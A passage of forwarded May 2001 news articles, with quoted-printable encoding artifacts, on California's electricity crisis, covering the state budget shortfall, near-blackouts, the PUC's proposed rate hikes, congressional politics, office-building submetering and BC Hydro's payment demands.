rd=20
has never dealt with anything other than huge surpluses. Now you're saying=
=20
we've got to go in and cut. This could be a long, hot summer."=20
The new revenue projections are a dramatic illustration of the state's=20
faltering economy. Revenues for the fiscal year that starts July 1 are now=
=20
expected to be $4.8 billion less than anticipated in January, Hill wrote.=
=20
That includes a decrease of $3.9 billion in income tax, $500 million in sal=
es=20
tax and $600 million in bank and corporation taxes, offset by some moderate=
=20
increases in insurance and estate taxes, said Brad Williams, chief economis=
t=20
in the non-partisan Legislative Analyst's Office.=20
"It's deterioration in the stock market and implications for capital gains=
=20
and stock options," Williams said, "and also the weakening outlook for the=
=20
economy as a whole."=20
The $4.8 billion blow is softened somewhat by unexpectedly strong revenues=
=20
from last year's tax returns, which helped boost revenues $1.4 billion high=
er=20
than had been anticipated.=20
The net effect is $3.4 billion less for the fiscal year that begins July 1.=
=20
If the Democratic governor's budget were approved as is, the deficit would=
=20
reach almost $6 billion in the fiscal year that begins July 1, 2002, Hill=
=20
wrote.=20
The governor is expected to release his revised budget Monday. The state=20
Department of Finance said Wednesday that it wouldn't comment on the new=20
revenue estimates until then.=20
One obvious target for budget cutters is one-time expenditures in the Janua=
ry=20
proposal. This includes money for local governments, state building project=
s,=20
housing initiatives, replacing diesel engines that contribute to air=20
pollution, cleaning up beaches, law enforcement technology grants, flood=20
control, parks along rivers and more.=20
Even if the state axed $2.5 billion for one-time expenditures that Davis=20
proposed, it would still have to cut an additional $1.7 billion proposed fo=
r=20
ongoing programs.=20
Davis' budget -- which projected an $8 billion surplus -- includes at least=
=20
$1.9 billion more for education than required under formulas approved by=20
voters in Proposition 98. But considering Davis' commitment to education,=
=20
most believe it's unlikely the governor would balance the budget by=20
throttling back to the minimum funding level, which would require cuts to=
=20
existing education programs.=20
C?rdenas said education, health care and transportation should be protected=
=20
from cuts.=20
Assembly Republicans agree about education, but have different ideas about=
=20
the rest.=20
On Wednesday, the Republicans released their plan for the revised budget. I=
t=20
includes protecting schools and law enforcement, creating a $4 billion=20
reserve for future electricity purchases, and striking a proposed 1/4-cent=
=20
sales tax increase.=20
The sales tax, which went into effect in the early 1990s, was removed this=
=20
year, but Davis has proposed restoring it in 2002.=20
"All this does is put a new burden on the backs of Californians" already=20
coping with higher energy costs, said Assemblyman George Runner, R-Lancaste=
r,=20
a member of the Assembly Budget Committee.=20
Republicans say an electricity reserve could avoid the need to do another=
=20
bond sale for power purchases next year.=20
"This is the time to make sure we are putting money aside and that we're no=
t=20
going to have to turn back to taxpayers or ratepayers and put an additional=
=20
burden on them," Runner said.=20

The Bee's John Hill can be reached at (916) 326-5543 or jhill@sacbee.com.=
=20

No blackouts despite dip in supplies=20

Stage 2 alert, power plant breakdown add to concerns
By Jeff McDonald=20
May 10, 2001=20
In the nip-and-tuck world of meeting California's energy needs, a small=20
victory was notched yesterday in Folsom, where managers of the state power=
=20
grid avoided blackout orders for the first time since the weekend.=20
But tensions nonetheless ran high among power industry officials, and=20
business leaders in San Diego County are growing increasingly alarmed at th=
e=20
nagging energy crisis.=20
The number of available megawatts fluctuated throughout the day yesterday a=
nd=20
a major power plant broke down, but engineers at the Independent System=20
Operator maintained service across the state.=20
Persistent shortages combined with unusually high temperatures prompted pow=
er=20
alerts as early as 10:15 a.m., when grid officials warned that supplies had=
=20
dipped within 7 percent of reserves.=20
With more than 12,000 megawatts of power unavailable from idled plants,=20
system operators issued a Stage 2 warning about 11:45 a.m. and asked large=
=20
users to cut back consumption through the afternoon.=20
Two hours later, a boiler tube leak knocked out a 750-megawatt power plant =
in=20
the Bay Area. Repairs will probably take several days.=20
"It wrecked my day," said Jim McIntosh, the Independent System Operator=20
director of grid operations. "It just changed the whole perspective of what=
=20
was going on."=20
The loss of the 750 megawatts deepened concerns in Folsom, where ISO=20
engineers measured a peak afternoon demand that barely trailed supplies of=
=20
almost 34,000 megawatts.=20
As late as 3 p.m., grid officials expected to be forced into cutting servic=
e=20
to hundreds of thousands of homes and businesses. Cooling temperatures and=
=20
conservation efforts helped kill the last threat, McIntosh said.=20
More blackouts could be ordered today, however, and tomorrow may be just as=
=20
problematic.=20
"The next couple of days will certainly be impacted by the loss of that=20
unit," McIntosh said.=20
The latest breakdown added to some already high drama at utility companies,=
=20
where officials braced through the day for orders to cut power to hundreds =
of=20
thousands of customers.=20
Blackout orders never came. But executives at San Diego Gas and Electric Co=
.=20
spent the day on heightened alert, calling critical-need residents and=20
businesses and informing them of potential service interruptions.=20
"This has become relatively commonplace," SDG&E spokesman Douglas Kline sai=
d.=20
"We handle it as a matter in the course of business now, unfortunately. We'=
ve=20
been on high alert all day."=20
Service was cut to more than 23,000 customers in several San Diego-area=20
neighborhoods Monday and Tuesday afternoons. More than 500,000 homes and=20
businesses across the state also lost power.=20
In a power interruption unrelated to the power problems across the state, a=
=20
number of major businesses in downtown San Diego were cut off unexpectedly =
in=20
midafternoon.=20
Customers between F Street and Harbor Drive lost power about 3:15 p.m. when=
=20
something went wrong with an underground cable that serves, among others, t=
he=20
Marriott Marina hotel, SDG&E said.=20
Service was restored within two hours, but not before convention meeting=20
rooms went dark and hotel restaurants closed.=20
The heat wave that has hung across California the past three days is expect=
ed=20
to begin cooling today and tomorrow, the National Weather Service said. Tha=
t=20
should reduce demand for air conditioning, one of the biggest power draws i=
n=20
the state.=20
However, the constant uncertainty in the electricity industry is taking its=
=20
toll on local businesses, which not only are seeing huge run-ups in utility=
=20
costs but are girding for potential losses that even a few minutes of=20
interruptions can cause.=20
"From a business standpoint, it's not 15 minutes of downtime for many of ou=
r=20
companies," said Julie Meier Wright, president of the San Diego Regional=20
Economic Development Corp. "For many of them, it means the loss of hours,=
=20
days, weeks and even longer of work."=20

Biggest users face huge rate hikes under PUC plan=20

By Karen Gaudette
May 9, 2001=20
SAN FRANCISCO =01) Customers of California's two largest utilities who use =
the=20
most electricity would pay much more to run canneries, tumble laundry and=
=20
conduct other tasks under a tiered rate plan implementing record hikes=20
approved in March.=20
The rate plan proposed Wednesday by Loretta Lynch, president of the state=
=20
Public Utilities Commission, suggests how the rate hikes should be allocate=
d=20
among residential, industrial, commercial and agricultural customers.=20
Residential customers of Pacific Gas and Electric Co. and Southern Californ=
ia=20
Edison Co. who use the most electricity would face average rate hikes of 35=
=20
percent to 40 percent.=20
And industrial users, such as factories and food processors, could face hik=
es=20
of 50 percent or more as the state desperately tries to start recouping the=
=20
$5.2 billion it already has paid to buy power for customers of those=20
financially ailing utilities.=20
Still, under Lynch's plan, as many as half of the 9 million customers of PG=
&E=20
and SoCal Edison would not see their bills rise at all.=20
Lynch's plan is the culmination of weeks of discussion among customers, sta=
te=20
officials, consumer activists and the utilities about how best to allocate=
=20
the record rate hikes approved in late March by the PUC.=20
Those rate hikes will affect all classes of customers, from small families =
to=20
the huge Silicon Valley facilities powering the Internet, but not all will=
=20
face the same magnitude of rate increases.=20
And, even within those classes, customers will pay more depending on when=
=20
they use the electricity. Those who use power during times of highest deman=
d=20
=01) generally, during daylight hours =01) will pay the most.=20
Lynch said her plan "recognizes that energy is expensive at every hour of=
=20
every day by every customer," but penalizes those who do not cut back on=20
energy use or try to shift to different times of the day.=20
Under Lynch's proposal, agricultural customers could face rate hikes rangin=
g=20
from 23-30 percent, with increases capped at 30 percent. Industrial users=
=20
face average increases of 50 percent or more, and commercial users average =
34=20
percent to 45 percent hikes.=20
Her proposal, Lynch said, designs rates to encourage conservation and=20
provides $5 billion over the next year to help pay the state Department of=
=20
Water Resources for the billions it has spent providing electricity for=20
customers of PG&E and Edison.=20
Lynch left the door open for future rate hikes, noting that the state=20
provides its electricity-buying expenses to the commission only on a monthl=
y=20
basis, while wholesale electricity prices continue to soar.=20
Lynch's proposal, and a largely similar proposal from PUC administrative la=
w=20
judge Christine Walwyn, will be reviewed in public hearings throughout the=
=20
state the rest of this week.=20

Rate Hikes Up to 60% Proposed by PUC Chief=20
Power: Lynch says about half the residential customers of Edison, PG&E woul=
d=20
escape increases. Her plan draws fire from all sides.=20

?????SAN FRANCISCO--About 4 million California residential electricity=20
customers will face increases in their monthly bills of up to about 60% und=
er=20
a proposal unveiled Wednesday by the state's chief utility regulator.=20
Interest groups on all sides promptly condemned the plan as too hard on=20
either consumers or businesses.
?????The proposal by California Public Utilities Commission President Loret=
ta=20
Lynch would increase the bills of roughly half of Southern California=20
Edison's residential customers, who consume medium to heavy amounts, by $8 =
to=20
$93 a month. Pacific Gas & Electric Co. customers would be hit with hikes o=
f=20
$6 to $87 a month.

Elisabeth Charion is among about 70 people testifying at a PUC hearing=20
Wednesday in Fullerton, most venting their anger at elected officials and=
=20
utility companies, whom they blame for the crisis.
IRFAN KHAN / Los Angeles Times

?????About half of the residential customers of the state's two biggest=20
public utilities would see no increase under the proposal if they continued=
=20
to consume energy at their current pace.
?????Lynch said she could not guarantee that more rate increases would not =
be=20
necessary. "Even these astronomical average rates may prove inadequate," sh=
e=20
said, noting that wholesale electricity prices are still high and=20
unpredictable.
?????The rate hike, Lynch said at a news conference, is necessary because=
=20
"federal regulators have failed to follow federal laws to ensure just and=
=20
reasonable prices."
?????The deepening energy crisis compelled Lynch to release her proposal=20
after public hearings on the rate increase already had begun. Lynch said th=
at=20
she wished her proposal had been ready sooner, but that at least some of th=
e=20
remaining public hearings will have the benefit of reviewing it.
?????PUC passage of the essential elements of Lynch's plan seems likely.
?????Along with two of her colleagues on the five-member commission, Lynch=
=20
was appointed by Gov. Gray Davis, and they often vote as a bloc. Lynch said=
,=20
however, that testimony later this week from utilities, the public and othe=
r=20
interested parties could prompt modifications.
?????Structuring the $5-billion rate increase is an important but political=
ly=20
sensitive step in California's attempt to restore stability to the delivery=
=20
of power to 9 million customers of two financially troubled utilities while=
=20
protecting the state budget.
?????The PUC has tried to design rates that would encourage conservation=20
without damaging business. Competing interest groups, ranging from consumer=
=20
advocates to large manufacturers, have been jockeying for advantage for wee=
ks.
?????The PUC approved a rate increase of 3 cents per kilowatt-hour March 27=
=20
to help pay the state's mounting power tab, which now exceeds $5 billion.=
=20
This week, the commission is conducting statewide hearings on how the pain=
=20
should be shared among millions of residents and businesses. On Monday the=
=20
panel is set to vote on Lynch's plan and a similar one by a PUC=20
administrative law judge.
?????Neither proposal appeared to please anyone.
?????"The PUC says everyone should share the pain, but we think the fair=20
share of the pain for residential consumers should be zero," said Mindy=20
Spatt, spokeswoman for the Utility Reform Network, a San Francisco consumer=
=20
group. "It should be paid by commercial and industrial customers who wanted=
=20
and still want deregulation."
?????Consumer activist Harvey Rosenfield said regulators should go after=20
power generators and their hefty profits rather than ratepayers.
?????"Rate increases are not the answer, and this is not going to be the en=
d=20
of them," said Rosenfield, president of the Foundation for Taxpayer and=20
Consumer Rights in Santa Monica. "This is like organized crime: The more yo=
u=20
give them, the more they want."
?????Commercial and industrial customers would see increases of up to 50%,=
=20
and agricultural interests would face increases of 23% to 30% under Lynch's=
=20
proposal.
?????Business interests contend that the rate hikes hit them much harder th=
an=20
residential users.
?????Calling the proposal "a death knell for the California economy," Jack =
M.=20
Stewart of the California Manufacturers and Technology Assn. estimated that=
=20
industrial customers would see their power rates increase an average of 53%=
.=20
And the pain of the rate hikes will be compounded by blackouts this summer,=
=20
which the group contends will cost California businesses $21.8 billion in=
=20
lost productivity.
?????"For most large manufacturers, energy is a large piece of their=20
operating costs," Stewart said. "If you add 53% to that, it's going to=20
severely hamper their ability to do business."
?????Unlike residential customers, the business customers are not grouped=
=20
into tiers based on their amount of usage. Lynch said there was insufficien=
t=20
time to establish a tiering system for nonresidential customers by June 1,=
=20
when the rate hikes will start showing up on bills.
?????An earlier proposal by Lynch had attempted to narrow the gap between=
=20
residential rates and the lower rates paid by nonresidential customers. But=
=20
the commission president said that goal could not be immediately achieved=
=20
without seriously damaging the state's economy.
?????To protect the largest users from gigantic rate increases, Lynch's=20
proposal caps the maximum bill increase at 300% for most customers and 250%=
=20
for agricultural customers.
?????"While we understand bill limiters may have some troubling conservatio=
n=20
impacts, at some point, price signals are unbearable for customers. Bill=20
limiters will protect customers from unanticipated extraordinary bill=20
impacts," Lynch wrote.
?????In recent weeks, the commission has received about 20 plans for=20
structuring the rate increase, including one from Davis, who had proposed a=
=20
slightly smaller overall rate increase. Lynch said her plan incorporates a=
=20
number of features of the governor's plan, including a tiered structure tha=
t=20
would punish heavy users and reward those who conserve.
?????Under state legislation, there is no rate increase for consumption up =
to=20
130% of baseline, the amount deemed the minimum needed by a customer in a=
=20
given area and noted on ratepayer bills. Also exempted are low-income=20
customers who already receive discounted electricity rates.
?????Edison and PG&E said they could not assess how the PUC proposals would=
=20
affect their customers because the commission had not provided details to t=
he=20
utilities as of late Wednesday.
?????But PG&E has disputed the commission's claim that half of customers=20
would not be affected by the increase, noting that only 32% of PG&E custome=
rs=20
never exceeded 130% of baseline usage in the last year.
?????Industrial and commercial customers complained that the plan should no=
t=20
exempt such a large group of residential customers, in any event. A rate=20
increase for these users--based on the PUC's estimate that the group will=
=20
constitute about half of residential customers--could generate an extra $1=
=20
billion.
?????If the PUC insists on exempting so many, the $1-billion shortfall shou=
ld=20
be covered solely by other residential users, businesses say.
?????Under Lynch's plan the burden of paying that amount would be split=20
equally among commercial, industrial and nonexempt residential customers.
?????If covering the shortfall were not shared by the three groups, Lynch=
=20
said, some residential customers would suffer a 100% increase in their bill=
s.
?????The proposal calls for a pilot program, including one that would let=
=20
federal agencies based in California "experiment with their own market rate=
=20
policies."
?????Lynch challenged federal agencies to try to live with "real time," or=
=20
hourly, prices in the volatile wholesale marketplace--a slap at officials o=
f=20
the Federal Energy Regulatory Commission who favor a free wholesale market=
=20
over price caps. Use of real-time pricing requires installing a special met=
er.
?????"'It would be great if the federal users respond to price signals enou=
gh=20
that prices come down," Lynch said, adding that she was skeptical that woul=
d=20
happen in today's dysfunctional market.
?????A FERC spokeswoman declined to comment on Lynch's proposal.
?????During the third day of PUC hearings, about 200 people gathered at=20
Fullerton College. Seventy people testified, most venting their anger at=20
elected officials and utility companies, whom they blame for the state's=20
flawed deregulation plan.
?????"I am opposed to any rate increase for residences and small business,"=
=20
testified Ruth Shapin, a Santa Ana attorney. "This crisis was created by=20
politicians. PG&E and SCE have transferred billions of dollars to their=20
parent companies. Let them bail themselves out, not the ratepayers."
?????Others said the baselines might be unfair because the commission had n=
ot=20
taken into consideration home size, the number of occupants and the locatio=
n.
?????"It's going to be hard for many people to stay below the 130% baseline=
,"=20
said Sylvia Hartman of Lakewood. "Some customers could easily go 400% over=
=20
the baseline."
---=20
?????Reiterman reported from San Francisco, Rivera Brooks from Los Angeles.=
=20
Times staff writer Dan Weikel in Fullerton contributed to this story.

Bush Energy Stance Begins to Worry Some in GOP=20

By GREG MILLER and RICHARD SIMON, Times Staff Writers=20

?????WASHINGTON--As power shortages and price spikes spread beyond=20
California, congressional Republicans are beginning to worry that the Bush=
=20
administration's reluctance to offer much immediate relief could hurt the=
=20
party in the 2002 elections.
?????A national energy plan to be unveiled by the White House next week wil=
l=20
focus on long-term strategies. But with California and other states bracing=
=20
for a summer of electricity turmoil and gasoline prices surging across the=
=20
country, some GOP lawmakers are pressing for short-term solutions.

U.S. Rep. Mary Bono, left, and Gov. Gray Davis discuss meeting with=20
executives of power-generating companies. Bono plans to seek $100 million t=
o=20
help poor people pay energy bills.
AP

?????"The White House has been taking a look at the big picture," said a GO=
P=20
leadership aide in the House. "But they're going to be around in four years=
.=20
We might not have members around in two years if we don't show we care."
?????That sentiment is being voiced by a rising number of GOP lawmakers.=20
"We're in a crisis situation, which is only going to get worse if we don't=
=20
act very aggressively," Rep. Elton Gallegly (R-Simi Valley) said Wednesday.=
=20
Gallegly is one of four congressional Republicans from California to break=
=20
with the administration by supporting temporary price controls on wholesale=
=20
?????The rising anxiety, which has begun spreading beyond the California=20
delegation, underscores how much has changed since the state declared its=
=20
first Stage 3 power emergency in December. At that time, Congress' response=
=20
was largely: That's Gov. Gray Davis' problem.
?????Not anymore.
?????Thirty-nine Stage 3 alerts later, a House committee today will take up=
 a=20
GOP-drafted emergency bill that would, among other things, allow Davis to=
=20
temporarily waive certain emission standards for power plants during an=20
emergency and provide federal aid to relieve a notorious bottleneck in the=
=20
California power grid.
?????But some GOP lawmakers say the legislation doesn't go far enough, and=
=20
plan to offer amendments containing their own ideas. Rep. Mary Bono (R-Palm=
=20
Springs) plans to push for $100 million in energy assistance to low-income=
=20
households and for a directive to federal facilities in the West to cut=20
energy use by 20%.
?????"House leaders recognize that they could lose the House in California =
if=20
there's not an action plan that members can campaign on," said Scott Reed, =
a=20
GOP strategist.
?????As lawmakers search for ways to provide immediate relief, the White=20
House continues to cite California's troubles as evidence of the need to=20
upgrade an aging, overburdened electricity transmission system.
?????Responding to reports that the administration would propose legislatio=
n=20
to give the federal government eminent domain authority in siting power=20
lines, White House press secretary Ari Fleischer said Bush wants to ensure=
=20
that the distribution infrastructure can move electricity from regions with=
=20
surpluses to regions that need more power.
?????"That's one of the reasons that California is going through the=20
difficulties it's going through," Fleischer said. "There is energy availabl=
e=20
in other parts of the country, but it can't be shipped to California as=20
easily as you would hope, because of infrastructure problems."
?????Fleischer took exception to a front-page story in The Times reporting=
=20
that Bush, in a speech delivered Tuesday, "offered no hint of what his=20
administration might do" to help California avert a possible economic=20
downturn caused by power blackouts.
?????Though the president did not specifically mention possible actions in=
=20
the speech, Fleischer said Bush last week "announced a series of steps,=20
including conservation," to help California get through an energy crisis th=
is=20
summer.
?????He said that the Pentagon is reducing its energy needs within Californ=
ia=20
by 10% and that all other federal agencies, at Bush's direction, are=20
reviewing their energy consumption patterns.
?????Environmentalists already have begun blasting the administration's=20
energy plan--even before its details are made public--for what they=20
characterize as a failure to emphasize energy efficiency and investments in=
=20
renewable fuels.

?????Activists Say Crisis Isn't Real
?????At a Wednesday news briefing, a coalition of environmental advocates=
=20
disagreed with the administration's assertion that the country is=20
experiencing an energy "crisis," and accused it of crafting a plan designed=
=20
to boost the profits of key campaign contributors.
?????"We cannot drill our way out of this situation," said Dan Becker of th=
e=20
Sierra Club. He and others argued that conserving fuel--with cars that use=
=20
less gasoline and appliances that use less electricity, for example--is the=
=20
best way to avoid energy shortages in the short term.
?????So far, it is not clear whether the energy crisis will work to either=
=20
party's advantage. Many on Capitol Hill are bracing for an election year th=
at=20
could be brutal for incumbents of both parties if voters who endure high=20
energy bills this summer vent their frustration in the voting booth next ye=
ar.
?????Some House Republicans acknowledged that they have been pushing the=20
White House to appear more engaged in finding near-term solutions.
?????When House Republicans met with Cheney last week, "they urged him and=
=20
all the administration to at least make it clear that a lot of effort is=20
going into finding a way to solve the problem," said Jim Specht, a spokesma=
n=20
for Rep. Jerry Lewis (R-Redlands), leader of the California GOP delegation.
?????Though some Republicans have offered ideas to address the immediate=20
problem, it is not clear whether any will receive congressional approval.
?????Indeed, the emergency assistance bill being taken up today by the Hous=
e=20
energy subcommittee faces trouble, although it was drafted by the panel's=
=20
chairman, Rep. Joe Barton (R-Texas).
?????Barton stripped out a number of provisions opposed by environmentalist=
s.=20
But Democrats plan to seek a vote on capping wholesale electricity prices, =
a=20
proposal most Republicans oppose. Democrats also plan to introduce an=20
amendment to target natural gas prices.
?????House Minority Leader Richard Gephardt (D-Mo.) said the bill "fails=20
miserably" to address California's problems. "During the campaign, Presiden=
t=20
Bush promised a sensible energy policy," Gephardt said. "In recent weeks,=
=20
however, the president has responded to the gathering crisis by throwing up=
=20
his hands and saying there's nothing we can do, there's no way to give peop=
le=20
immediate relief from blackouts and sky-high increases of price of gasoline=
=20
at the pump."
?????Lawmakers of both parties acknowledge that they are hearing a rising=
=20
chorus of constituent complaints about the energy price spikes and supply=
=20
?????Rep. Chris Cox (R-Newport Beach) was caught in a blackout during a tou=
r=20
of a computer chip factory in his district. "They said it cost them $1=20
million if the power goes off even for five minutes," said Cox, who=20
nonetheless opposes price controls.
?????Cox said he is worried about how the California electricity crisis mig=
ht=20
affect the national economy. He said that when he asks business owners abou=
t=20
expanding in California, "they just look at you like you're nuts. They don'=
t=20
consider California an option because of this uncertainty."
?????"People come up to you and want you to help solve the problem," said=
=20
Rep. George Radanovich (R-Mariposa).
?????He has explained that there is little the federal government can do in=
=20
the short term.
?????"Californians want somebody to do something," said John J. Pitney Jr.,=
=20
associate professor of government at Claremont McKenna College. "When peopl=
e=20
are in a mood like that, politicians get nervous thinking that they're the=
=20
ones who might get blamed."
?????Said Reed, the GOP strategist: "Every incumbent in California is=20
vulnerable in the next election, in both parties. This is an issue that is=
=20
not ideological. It's about action and solving a short-term problem.=20
"Politics have taken over this issue, like it or not," he said. "They may=
=20
have been raging in California for the last three or four months. It's now =
a=20
national political issue."=20
---=20
?????Times staff writers James Gerstenzang, Edwin Chen, Elizabeth Shogren a=
nd=20
Ricardo Alonso-Zaldivar contributed to this story.

Copyright 2001 Los Angeles Times

In Office Buildings, the Lights Are On, But Nobody's Home=20
Energy: Analysts say metering individual tenants could encourage=20

?????Despite power outages and soaring energy prices, workers stream out of=
=20
California's downtown and suburban offices each evening leaving lights=20
blazing and computers humming. And there has been scant incentive to=20
conserve, since commercial building leases typically include the cost of=20
energy.
?????Energy experts and other analysts say metering of individual office=20
tenants would encourage conservation by pushing companies to shut off light=
s,=20
computer monitors, desk fans and other electrical devices at night, but sta=
te=20
regulations and utility policies are in the way.
?????That conflict between policy and conservation efforts has drawn the=20
attention of state Sen. Debra Bowen (D-Marina del Rey), who chairs the Sena=
te=20
Energy, Utilities and Communications Committee. On Tuesday, Bowen asked=20
California Public Utilities Chairwoman Loretta Lynch to review what Bowen=
=20
called "archaic" regulations governing how electricity meters are used in=
=20
office buildings. Bowen said she also plans to take up the issue in her=20
committee.
?????At issue is Rule 18, a regulation established by the commission two=20
decades ago that prohibits landlords from using submeters to assess energy=
=20
charges to tenants.
?????"It is quite old and dates back to a different era of electricity=20
distribution in California," said Bowen, who was urged to take action by th=
e=20
Building Owners and Managers Assn. "I asked Loretta Lynch to open a=20
proceeding to revise or eliminate that ban."
?????Lynch did not return calls for comment on the state's metering policie=
s,=20
but PUC regulatory analyst William Gaffney said more metering "would be a=
=20
boon to energy conservation" because "you could see what you are using."
?????"Direct metering would ultimately foster greater energy savings . . .=
=20
more permanent savings, because it would encourage capital investments in=
=20
more efficient equipment, windows, etc., etc.," said Evan Mills, a scientis=
t=20
in the energy analysis department of the Lawrence Berkeley National=20
Laboratory in Berkeley.
?????Usually, the only tenants in office buildings with utility meters are=
=20
retail and restaurant businesses, according to commercial real estate=20
experts. Most tenants in California office towers sign what are called "gro=
ss=20
leases" that include power. When electricity usage or rates go up=20
unexpectedly, landlords can charge monthly or annual "escalation fees" to=
=20
cover the extra cost. The fees typically are apportioned by the percentage =
of=20
the building a tenant occupies.
?????This method of billing is counterproductive to energy savings, said=20
Willet Kempton, senior policy scientist at the University of Delaware's=20
Center for Energy and Environmental Policy. Energy hogs are subsidized by=
=20
other tenants. Conversely, savings through conservation are only fractional=
ly=20
shared.
?????Two key obstacles block metering of individual tenants in a building.
?????One is economics--high-rise buildings get a far better rate with one=
=20
utility meter than if each floor is metered.
?????"We can sell a lot of energy on just one bill," said Randy Howard,=20
manager of commercial services at the Los Angeles Department of Water and=
=20
Power. "If we had 200 meters there and had to do the billing and meter=20
reading for each of them, each tenant would pay a higher rate."
?????Moreover, utilities aren't anxious to send meter readers to every floo=
r=20
of a building, going through private offices to find the meters. One=20
alternative--locating all the meters in a central area where the main=20
electrical line enters the building--would require massive rewiring of=20
existing office towers that could cost several hundred thousand dollars or=
=20
more, depending on the size of the building, said Ali Sherafat, senior vice=
=20
president of the Los Angeles office of Syska & Hennessy, a consulting=20
engineering firm.
?????A 1995 ruling by the PUC required that individual tenants in office=20
buildings be placed on meters operated by a public utility (as opposed to=
=20
landlord-managed submeters), but relatively few have been installed because=
=20
of exemptions.
?????For example, Southern California Edison Co. officials typically meet=
=20
with developers at the start of a building project to determine how many=20
meters it might require, said Matt Deatherage, a planning support manager f=
or=20
the utility. But because developers build office space so that its=20
configuration can change easily as tenants shift, the estimate is often=20
wrong. A building designed with three meters for three tenants might find=
=20
itself with six tenants or more by the time it opens.
?????"We don't require them to go back and rewire the building if it turns=
=20
out to be wrong, that would be too expensive," Deatherage said.
?????The second obstacle is Rule 18, the 1981 ban on submetering originally=
=20
intended to protect utility monopolies and to prevent landlords from gettin=
g=20
electricity at a discount price and selling it at a markup to tenants.
?????"When you resell electricity like that, you function as a utility and=
=20
that's not allowed," said Deatherage.
?????Nonetheless, Bowen believes that deregulation may have superseded thos=
e=20
issues and that current policy should emphasize conservation.
?????Although the leasing model used in California is common, it's not=20
universal, said Peter L. DiCapua, energy chairman of the Building Owners an=
d=20
Managers Assn. International.
?????Many New York tenants have individual meters. Others are on landlord=
=20
submeters, a system that allows them to tap into the lower, high-volume rat=
es=20
paid by the building's operator but still pay for actual, rather than=20
estimated, energy use.=20
?????Landlords would welcome a changed regulation to allow submetering for=
=20
several reasons. There are the conservation benefits, said Dan Emmett, chie=
f=20
executive of Douglas Emmett & Co., one of the largest building owners and=
=20
managers in Los Angeles County. It also would reduce some of the inevitable=
=20
arguments with tenants who claim they pay more than their fair share for=20
services at a building.
?????"I think submetering could be practical," Emmett said. "It is not that=
=20
complicated and is fairly inexpensive."
?????Sherafat said it would cost about $2,000 per tenant for the submeter a=
nd=20
the necessary software. Submeters could be installed at the electrical pane=
l=20
level without expensive rewiring for utility meters, he said. Better yet, t=
he=20
software allows data to be collected at a central point, eliminating the ne=
ed=20
for meter readers. Such a system also could allow big buildings to use one=
=20
master meter to get the best rate .
?????Though submetering would foster conservation, it still is not a panace=
a,=20
said Kempton of the University of Delaware. When it comes to energy=20
conservation, changing the behavior of businesses and workers is notoriousl=
y=20
tricky.
?????"Attorneys literally can't be bothered with the nuances of energy," sa=
id=20
DiCapua, an executive at Atco Properties & Management in New York. "They ar=
e=20
focused on things other than if the air conditioning was left on all night.
?????That is typical of professional services firms, because energy is just=
 a=20
small fraction of their expenses, Kempton said.
?????And individual metering sounds great in theory, Kempton added, but it =
is=20
useless if the bill goes to a home office elsewhere or if the on-site manag=
er=20
of the firm never sees it.
?????In any push to change the rules, however, people should remember that=
=20
the current system was developed for sound reasons, often based on reducing=
=20
the expense of constructing buildings and finding tenants the lowest prices=
=20
for energy, Howard said.=20
?????"Right now we are in a conservation mode, so everybody is talking abou=
t=20
this," he said. "But that hasn't always been the case, so a single meter fo=
r=20
a big building made sense."

Thursday, May 10, 2001=20
Power Shifts to Congress=20

?????Wholesale electricity prices soared with the temperature this week,=20
jumping to eight times the peak of only three weeks ago. No one knows how=
=20
high the price may go when high summer hits. Which makes it all the more=20
intriguing that one of the big power-generating companies is now calling fo=
r=20
temporary price caps, which the Bush administration stubbornly opposes.=20
?????Authority over wholesale power prices rests with the Federal Energy=20
Regulatory Commission, which is charged by Congress with maintaining "just=
=20
and reasonable" rates. But FERC refuses to impose what California desperate=
ly=20
needs, a broad temporary price cap that allows companies to recover their=
=20
costs plus a reasonable profit. The state's last hope for rate caps now res=
ts=20
with Congress.=20
?????Sens. Dianne Feinstein (D-Calif.) and Gordon Smith (R-Ore.) are=20
sponsoring legislation that would require FERC to establish temporary maxim=
um=20
rates. Rep. Henry Waxman (D-L.A.) is scheduled to propose amendments to a=
=20
House bill today to do the same. The support of three Republican House=20
members from California, who are on the energy and air quality subcommittee=
,=20
is crucial. They are Christopher Cox of Newport Beach, Mary Bono of Palm=20
Springs and George Radanovich of Mariposa. The Waxman measure serves the be=
st=20
interests of California. Concern about losing seats in Congress may also he=
lp=20
the GOP members make the right choice.=20
?????It was Feinstein who got a letter from Keith E. Bailey, chairman of=20
Williams Cos., an energy producer, in support of temporary price controls.=
=20
Perhaps some generators are tired of being labeled gougers, pirates and=20
bloodsuckers, and they will settle for a reasonable profit through the rest=
=20
of this crisis. But price caps would have to apply to all the producers.=20
Congress must act, starting today with the subcommittee vote on the Waxman=
=20
measure. Copyright 2001 Los Angeles Times=20

Proud state forced to knees in power hunt=20
Robert Salladay, Chronicle Sacramento Bureau
URL: http://www.sfgate.com/cgi-bin/article.cgi?f=3D/c/a/2001/05/10/MN40227.=
DTL=20
California has turned into the trailer park next door, the cash-only,=20
deadbeat neighbor forced to beg for enough power to keep the swamp cooler=
=20
running.=20
Yesterday in Folsom, home of the state's energy managers, was another study=
=20
in high-tech, air-conditioned humiliation -- punctuated by a frantic scrapi=
ng=20
and bowing for energy across the West.=20
Poor people with "secured" credit cards can relate to the scene at the=20
California Independent System Operator. This week began with Canada's BC=20
Hydro threatening to shut off power again until the state actually wired ca=
sh=20
to its bank account.=20
"We got the money," an ISO engineer stood up and told another employee at t=
he=20
agency's semi-secret Folsom headquarters yesterday. "Yeah, we're good for=
=20
another $14 million. Burn it up, huh, Lloyd?"=20
Lloyd started burning it up, thanks to an OK from the Department of Water=
=20
Resources and to several million California taxpayers' footing the bill.=20
California narrowly missed a third day in a row of blackouts yesterday. The=
=20
situation was tight when a power plant in Pittsburg shut down because its=
=20
boiler was leaking, but cooler weather and increased supply from other=20
generators helped keep the lights on.=20
All week at the ISO, engineers have been fretting about facilities and=20
finances.=20
BC Hydro shut off 2,000 megawatts of power to the state Monday while it=20
waited for a check from the water agency. The state has a line of credit wi=
th=20
BC Hydro, but California is buying so much at such high prices that it was=
=20
reaching the limit.=20
The company already is owed about $307 million from the state's insolvent=
=20
utilities, so it is impatient.=20
"They wanted to make sure we were good for it before we could continue," sa=
id=20
Oscar Hidalgo, a spokesman for the water agency, which is paying the bills.=
=20
The power cutoff sent the ISO into a panic, since BC Hydro was providing=20
enough to power an estimated 2 million homes. Two hours later, the state=20
marched down to the bank and wired the money. Power was restored, and an=20
agreement was reached yesterday for daily payments.=20
The engineers in shirtsleeves at the ISO aren't used to this kind of=20
treatment. Since the energy crisis drained the bank accounts of the=20
